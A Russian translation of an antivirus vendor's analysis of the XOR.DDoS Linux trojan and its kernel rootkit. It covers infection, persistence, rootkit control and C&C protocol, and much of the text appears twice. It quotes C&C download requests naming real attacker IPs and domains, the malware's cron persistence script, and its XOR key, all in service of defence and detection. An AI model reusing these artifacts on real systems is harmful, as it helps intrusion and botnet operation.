Предлагаю вниманию читателей «Хабрахабра» перевод статьи «Linux DDoS Trojan hiding itself with an embedded rootkit» из блога антивирусной компании Avast.
По сообщениям группы «MalwareMustDie!», в конце сентября 2014 года появилась новая угроза для ОС Linux. Её назвали XOR.DDOS, как видно из названия, она образует ботнет для DDoS-атак. Пост упоминал о первоначальном вторжении, по SSH соединению, статические свойства исполняемых файлов Linux и используемые методы шифрования. Позже мы поняли, что процесс установки настраивает окружение Linux жертвы для работы дополнительного компонента — руткита.
Инфицирование начинается с попытки брут-форса SSH, используя логин root. В случае успеха злоумышленники получают доступ к скомпрометированной машине, а затем устанавливают троян, как правило, с помощью шелл-скрипта. Скрипт содержит такие процедуры, как main, check, compiler, uncompress, setup, generate, upload, checkbuild и т.д. и переменные __host_32__, __host_64__, __kernel__, __remote__,, и т.д. Процедура main расшифровывает и выбирает C&C сервер, основываясь на архитектуре системы.
В запросе ниже параметр iid — это MD5-хэш от имени версии ядра. Сначала скрипт перечисляет все модули, работающие в текущей системе с помощью команды lsmod. Затем он берет последний и извлекает свое имя и параметр vermagic. В одном из наших случаев среда тестирования работает под «3.8.0-19-generic\SMP\mod_unload\modversions\686\», который имеет MD5-хэш, равную CE74BF62ACFE944B2167248DD0674977.
Три GET-запроса отправляются на C&C. Первой выполняется процедура check:
Затем процедура compiler отправляет еще один GET-запрос, в котором такие параметры как C&C servers, version infо и т.д. передаются на сервер, где они собраны в недавно созданный исполняемый файл:
Наконец, третий GET-запрос загружает адаптированную версию исполняемого файла трояна, запакованную в gzip-архив, который распаковывается и запускается:
Предыдущие шаги выполняются только в том случае, если уже есть собранная версия для текущей версии ядра на сервере. Если нет, сценарий находит заголовочные файлы ядра в директории /lib/modules/%s/build/, где %s означает возвращаемое значение после выполнения команды uname -r, затем упаковывает все файлы и загружает их на сервер C&C, используя специальный загрузчик, названный mini. Это первый сценарий.
Компоненты руткита являются загружаемыми модулями ядра (LKM). Для успешной установки их в системе, значение vermagic LKM необходимо согласовать с версией заголовочных файлов ядра, установленных в пользовательской системе. Именно в этом смысл всех предыдущих шагов установки. Если предыдущие последовательности потерпели неудачу, скрипт устанавливает троян без компонентов руткита.
Двоичная структура основного исполняемого файла следующая:
Живучесть трояна достигается несколькими способами. Во-первых, он устанавливается в каталог /boot/ с именем, содержащим случайную строку из 10 символов. Затем скрипт с идентичным именем создается в каталоге /etc/init.d/. Вместе с пятью символическими ссылками, указывающими на скрипт, созданный в /etc/rc%u.d/S90%s, где %u перечисление от 1 до 5, а %s заменяется рандомным именем файла трояна. Кроме того, скрипт добавляет файл /etc/cron.hourly/cron.sh со следующим содержимым:
Строка "*/3 * * * * root /etc/cron.hourly/cron.sh" добавляется в crontab.
Функциональность основного исполняемого файла заключается в трех бесконечных циклах, ответственных за:
Файл конфигурации содержит четыре категории списков: md5, denyip, filename и rmfile. Имеется в виду убийство запущенного процесса по его CRC-контрольной сумме, по активным соединениям с IP из списка, по имени файла
и, наконец, удаление файла с определенным именем. На следующем рисунке отображается фрагмент конфигурационного файла (выделены известные имена файлов, с соответствующими троянами).
Убийство процессов или удаление списка процессов, до его установки, типично для троянов.
Кроме того, мы должны отметить, что есть модификация этого трояна, скомпилированного для архитектуры ARM. Это говорит о том, что список потенциально инфицированных систем (кроме 32-х и 64-х Linux веб-серверов и настольных ПК) расширяется на маршрутизаторы, IoT, NAS хранилища или 32-битные сервера ARM (однако, пока это не наблюдалось в природе). Он содержит дополнительную реализацию функцию загрузки-и-выполнения в бесконечном цикле под названием daemondown:
Несколько дней назад наблюдался новый 32-битный вариант данного трояна с некоторыми изменениями. Бот устанавливается как /lib/libgcc4.so файл и уникальный файл, содержащий идентификационную строку в /var/run/udev.pid, скрипт инициализации был в /etc/cron.hourly/udev.sh и функции руткита были полностью опущены. Наличие всех этих файлов может служить индикатором компрометирования.
Трояны для платформы Windows использовали различные функции руткита в течении очень долгого времени. Известно, что некоторые трояны имели Windows вариант руткита Агония (Agony rootkit — его исходный код был опубликован в 2006 году). Мы представили исследования, связанные с этим вредоносным DDoS инструментом на Botconf 2014 в обзоре под названием Китайская курица: многоплатформенный-DDoS-ботнет. Теперь есть flood-троян для Linux, который также содержит встроенный руткит. Это основная функциональность, чтобы скрыть различные аспекты деятельности трояна и обеспечить выполнение процедур:
Троян работает в пользовательском пространстве, запрашивая эти функции от руткита в ядре с помощью команды управления вводом-выводом с определенным кодом (0×9748712). Наличие руткита сначала проверяется, открыв процесс с именем rs_dev:
Собственно, запросу необходимо два параметра: один указывает номер команды, которую будет выполнять руткит, а другой является номером порта, чтобы быть скрытым. Ниже пример того, как троян скрывает порт TCP (обратите внимание на task 3):
Основываясь на именах процедур, вполне вероятно, что авторы вредоносного ПО были вдохновлены проектом с открытым исходным кодом под названием Suterusu, чтоб собрать свой руткит. Троян с прошлого года называется «Рука Вора», он потерпел неудачу в своих амбиций, стать первым банковским трояном для Linux-десктоп. Он также заимствовал часть кода из существующего проекта с открытым исходным кодом, а именно — методов введения процесса. Описание проекта гласит: «LKM руткит для Linux 2.6/3.x на x86(_64) и ARM». В другой статье, связанной с Suterusu, был опубликован в январе 2013 года.
Данные передаются в зашифрованном виде в обоих направлениях с одним и тем же захардкоженым ключом XOR (BB2FA36AAA9541F0) в качестве конфигурационного файла. Дополнительный файл /var/run/sftp.pid, содержащий уникальную магическую строку длиной 32 байт, хранится и используется в качестве уникального идентификатора машины жертвы в сообщения. Существует список команд C&C, которые бот слушает: начать flood, остановить flood, скачать-и-выполнить, самообновление, отправить MD5 хэш его памяти и получить список процессов, чтобы убить:
Список C&C-серверов хранится в шелл-скрипте в переменной __remote__. Троян сначала отправляет информацию о работающей системе к серверу C&C (весьма вероятно будет отображаться на панели оператора ботнет). Ответы обычно приходят в виде команды. Заголовок команды длиной 0x1C байт хранится в структуре, называемой Header. Первая команда останавливает любые флуд-атаки и начинает следующую с одним из хостов, представленном в списке. Записи о заголовке приведены ниже. Выделенные параметры размер — это общий размера команды (Size, 0x102C), число задач (Order, 0×3, т.е. _cmd_start в таблице switch), а количество flood задач (Task_Num, 0xf):
Остальная часть команды flood содержит зашифрованую структуру с задачами атаки. После расшифровки мы можем увидеть IP-адрес (красный цвет) и порты (зеленый цвет), которые будут выполнены трояном и других параметров атаки DDoS (например, серый цвет решает тип атаки: SYN / DNS).
По сообщениям группы «MalwareMustDie!», в конце сентября 2014 года появилась новая угроза для ОС Linux. Её назвали XOR.DDOS, как видно из названия, она образует ботнет для DDoS-атак. Пост упоминал о первоначальном вторжении, по SSH соединению, статические свойства исполняемых файлов Linux и используемые методы шифрования. Позже мы поняли, что процесс установки настраивает окружение Linux жертвы для работы дополнительного компонента — руткита.
Скрипт установки и вектор заражения
Инфицирование начинается с попытки брут-форса SSH, используя логин root. В случае успеха злоумышленники получают доступ к скомпрометированной машине, а затем устанавливают троян, как правило, с помощью шелл-скрипта. Скрипт содержит такие процедуры, как main, check, compiler, uncompress, setup, generate, upload, checkbuild и т.д. и переменные __host_32__, __host_64__, __kernel__, __remote__,, и т.д. Процедура main расшифровывает и выбирает C&C сервер, основываясь на архитектуре системы.
В запросе ниже параметр iid — это MD5-хэш от имени версии ядра. Сначала скрипт перечисляет все модули, работающие в текущей системе с помощью команды lsmod. Затем он берет последний и извлекает свое имя и параметр vermagic. В одном из наших случаев среда тестирования работает под «3.8.0-19-generic\SMP\mod_unload\modversions\686\», который имеет MD5-хэш, равную CE74BF62ACFE944B2167248DD0674977.
Три GET-запроса отправляются на C&C. Первой выполняется процедура check:
request:
GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!
Затем процедура compiler отправляет еще один GET-запрос, в котором такие параметры как C&C servers, version infо и т.д. передаются на сервер, где они собраны в недавно созданный исполняемый файл:
request:
GET /compiler?iid=CE74BF62ACFE944B2167248DD0674977&username=admin
&password=admin&ip=103.25.9.245:8005%7C103.240.141.50:8005%7C
66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C
ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005
&ver=3.8.0-19-generic%5C%20SMP%5C%20mod_unload%5C%20modversions%5C%20686%5C%20
&kernel=3.8.0
reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!
Наконец, третий GET-запрос загружает адаптированную версию исполняемого файла трояна, запакованную в gzip-архив, который распаковывается и запускается:
request:
GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz
reply:
1001|CE74BF62ACFE944B2167248DD0674977|create ok
Предыдущие шаги выполняются только в том случае, если уже есть собранная версия для текущей версии ядра на сервере. Если нет, сценарий находит заголовочные файлы ядра в директории /lib/modules/%s/build/, где %s означает возвращаемое значение после выполнения команды uname -r, затем упаковывает все файлы и загружает их на сервер C&C, используя специальный загрузчик, названный mini. Это первый сценарий.
Компоненты руткита являются загружаемыми модулями ядра (LKM). Для успешной установки их в системе, значение vermagic LKM необходимо согласовать с версией заголовочных файлов ядра, установленных в пользовательской системе. Именно в этом смысл всех предыдущих шагов установки. Если предыдущие последовательности потерпели неудачу, скрипт устанавливает троян без компонентов руткита.
Структура и живучесть
Двоичная структура основного исполняемого файла следующая:
Живучесть трояна достигается несколькими способами. Во-первых, он устанавливается в каталог /boot/ с именем, содержащим случайную строку из 10 символов. Затем скрипт с идентичным именем создается в каталоге /etc/init.d/. Вместе с пятью символическими ссылками, указывающими на скрипт, созданный в /etc/rc%u.d/S90%s, где %u перечисление от 1 до 5, а %s заменяется рандомным именем файла трояна. Кроме того, скрипт добавляет файл /etc/cron.hourly/cron.sh со следующим содержимым:
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin’
for i in `cat /proc/net/dev|grep :|awk -F: {‘,27h,’print $1′,27h,’}`; do ifconfig $i up& done
cp /lib/udev/udev /lib/udev/debug
/lib/udev/debug
Строка "*/3 * * * * root /etc/cron.hourly/cron.sh" добавляется в crontab.
Функциональность основного исполняемого файла заключается в трех бесконечных циклах, ответственных за:
- Скачивание и выполнение инструкций в конфигурационный файл бота;
- Переустановка себя как /lib/udev/udev;
- Выполнение flood-команд.
Файл конфигурации содержит четыре категории списков: md5, denyip, filename и rmfile. Имеется в виду убийство запущенного процесса по его CRC-контрольной сумме, по активным соединениям с IP из списка, по имени файла
и, наконец, удаление файла с определенным именем. На следующем рисунке отображается фрагмент конфигурационного файла (выделены известные имена файлов, с соответствующими троянами).
Убийство процессов или удаление списка процессов, до его установки, типично для троянов.
Кроме того, мы должны отметить, что есть модификация этого трояна, скомпилированного для архитектуры ARM. Это говорит о том, что список потенциально инфицированных систем (кроме 32-х и 64-х Linux веб-серверов и настольных ПК) расширяется на маршрутизаторы, IoT, NAS хранилища или 32-битные сервера ARM (однако, пока это не наблюдалось в природе). Он содержит дополнительную реализацию функцию загрузки-и-выполнения в бесконечном цикле под названием daemondown:
Несколько дней назад наблюдался новый 32-битный вариант данного трояна с некоторыми изменениями. Бот устанавливается как /lib/libgcc4.so файл и уникальный файл, содержащий идентификационную строку в /var/run/udev.pid, скрипт инициализации был в /etc/cron.hourly/udev.sh и функции руткита были полностью опущены. Наличие всех этих файлов может служить индикатором компрометирования.
LKM Руткит
Трояны для платформы Windows использовали различные функции руткита в течении очень долгого времени. Известно, что некоторые трояны имели Windows вариант руткита Агония (Agony rootkit — его исходный код был опубликован в 2006 году). Мы представили исследования, связанные с этим вредоносным DDoS инструментом на Botconf 2014 в обзоре под названием Китайская курица: многоплатформенный-DDoS-ботнет. Теперь есть flood-троян для Linux, который также содержит встроенный руткит. Это основная функциональность, чтобы скрыть различные аспекты деятельности трояна и обеспечить выполнение процедур:
Троян работает в пользовательском пространстве, запрашивая эти функции от руткита в ядре с помощью команды управления вводом-выводом с определенным кодом (0×9748712). Наличие руткита сначала проверяется, открыв процесс с именем rs_dev:
Собственно, запросу необходимо два параметра: один указывает номер команды, которую будет выполнять руткит, а другой является номером порта, чтобы быть скрытым. Ниже пример того, как троян скрывает порт TCP (обратите внимание на task 3):
Основываясь на именах процедур, вполне вероятно, что авторы вредоносного ПО были вдохновлены проектом с открытым исходным кодом под названием Suterusu, чтоб собрать свой руткит. Троян с прошлого года называется «Рука Вора», он потерпел неудачу в своих амбиций, стать первым банковским трояном для Linux-десктоп. Он также заимствовал часть кода из существующего проекта с открытым исходным кодом, а именно — методов введения процесса. Описание проекта гласит: «LKM руткит для Linux 2.6/3.x на x86(_64) и ARM». В другой статье, связанной с Suterusu, был опубликован в январе 2013 года.
C&C связи
Данные передаются в зашифрованном виде в обоих направлениях с одним и тем же захардкоженым ключом XOR (BB2FA36AAA9541F0) в качестве конфигурационного файла. Дополнительный файл /var/run/sftp.pid, содержащий уникальную магическую строку длиной 32 байт, хранится и используется в качестве уникального идентификатора машины жертвы в сообщения. Существует список команд C&C, которые бот слушает: начать flood, остановить flood, скачать-и-выполнить, самообновление, отправить MD5 хэш его памяти и получить список процессов, чтобы убить:
Список C&C-серверов хранится в шелл-скрипте в переменной __remote__. Троян сначала отправляет информацию о работающей системе к серверу C&C (весьма вероятно будет отображаться на панели оператора ботнет). Ответы обычно приходят в виде команды. Заголовок команды длиной 0x1C байт хранится в структуре, называемой Header. Первая команда останавливает любые флуд-атаки и начинает следующую с одним из хостов, представленном в списке. Записи о заголовке приведены ниже. Выделенные параметры размер — это общий размера команды (Size, 0x102C), число задач (Order, 0×3, т.е. _cmd_start в таблице switch), а количество flood задач (Task_Num, 0xf):
Остальная часть команды flood содержит зашифрованую структуру с задачами атаки. После расшифровки мы можем увидеть IP-адрес (красный цвет) и порты (зеленый цвет), которые будут выполнены трояном и других параметров атаки DDoS (например, серый цвет решает тип атаки: SYN / DNS).